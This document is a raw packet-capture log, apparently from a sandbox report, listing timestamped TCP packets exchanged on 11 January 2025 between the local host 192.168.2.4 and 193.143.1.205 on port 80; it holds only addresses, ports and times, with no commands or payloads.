Jan 11, 2025 05:02:28.963757038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.963773966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.963799000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.963814020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.963821888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.963829994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.963845968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.963859081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.963860989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.963896036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.971242905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.990721941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.990755081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.990808964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.020729065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.020750999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.020776033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.020792007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.020806074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.020828962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.020836115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.020847082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.020865917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.020873070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.020881891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.020889997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.020920992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.020940065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.020962000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.020977974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.021013975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.049331903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.049352884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.049370050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.049379110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.049388885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.049427032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.049473047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.051913023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.051929951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.051945925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.051970005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.051987886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.051997900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.052004099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.052022934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.052031040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.052046061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.052056074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.052066088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.052082062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.052093983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.052134991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.080176115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.080204964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.080220938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.080236912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.080254078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.080254078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.080277920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.080296040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.080296993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.080312967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.080327988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.080328941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.080353975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.080362082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.080370903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.080385923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.080405951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.080410957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.080425978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.080435991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.080441952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.080457926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.080470085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.080473900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.080498934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.080509901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.080516100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.080543041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.080558062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.080558062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.080600023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.080602884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.080617905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.080643892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.080655098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.080660105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.080677032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.080694914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.080730915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.080804110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.080820084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.080836058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.080858946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.080871105 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.080874920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.080890894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.080907106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.080907106 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.080923080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.080939054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.080945015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.080959082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.080966949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.080984116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.081001043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.081012011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.081020117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.081033945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.081051111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.081073999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.081085920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.081089973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.081106901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.081139088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.081145048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.081191063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.081197977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.081213951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.081228018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.081259966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.081259966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.081275940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.081290960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.081307888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.081310034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.081322908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.081347942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.081370115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.085479975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.085506916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.085530043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.085546017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.085561037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.085563898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.085576057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.085592031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.085606098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.085607052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.085623980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.085627079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.085639954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.085661888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.085665941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.085681915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.085685015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.085697889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.085712910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.085730076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.085730076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.085762024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.085818052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.085841894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.085859060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.085871935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.085872889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.085889101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.085907936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.085922003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.085931063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.085939884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.085958004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.085974932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.085987091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.085989952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.086005926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.086019039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.086055994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.086067915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.086083889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.086100101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.086122990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.086127996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.086138964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.086158991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.086170912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.086174965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.086193085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.086210966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.086240053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.086402893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.086417913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.086435080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.086450100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.086467028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.086467028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.086483002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.086500883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.086503983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.086524010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.086735964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.111761093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.111788034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.111814976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.111830950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.111835957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.111845970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.111860991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.111862898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.111877918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.111902952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.111927986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.121922016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.133734941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.140232086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.140258074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.140274048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.140290022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.140306950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.140340090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.140352964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.140367985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.140369892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.140403032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.142744064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.142791986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.142798901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.142812967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.142828941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.142844915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.142858982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.142888069 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.142923117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.142946959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.142961979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.142976999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.142992973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.142993927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.143016100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.143027067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.143063068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.143075943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.143090010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.143105984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.143121004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.143131018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.143136024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.143966913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.144484043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.171107054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.171133995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.171149969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.171165943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.171180964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.171186924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.171197891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.171219110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.171219110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.171242952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.171257973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.171262980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.171273947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.171298027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.171304941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.171322107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.171330929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.171339035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.171355009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.171371937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.171374083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.171390057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.171403885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.171406984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.171418905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.171438932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.171442986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.171458960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.171483040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.171483994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.171500921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.171514988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.171519995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.171531916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.171555042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.171643972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.171658993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.171674967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.171681881 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.171689987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.171706915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.171715021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.171719074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.171747923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.171857119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.171869993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.171894073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.171910048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.171910048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.171926022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.171933889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.171941996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.171957016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.171968937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.171993017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.171998024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.172032118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.172045946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.172070026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.172075987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.172085047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.172103882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.172113895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.172128916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.172148943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.172158003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.172163963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.172189951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.172193050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.172208071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.172220945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.172229052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.172252893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.172260046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.172269106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.172285080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.172300100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.172310114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.172317982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.172333002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.172338963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.172348976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.172374964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.172374964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.172390938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.172406912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.172411919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.172441959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.172494888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.172508955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.172533989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.172544003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.172548056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.172564030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.172578096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.172581911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.172595978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.172615051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.172648907 CET	80	49730	193.143.1.205	192.168.2.4
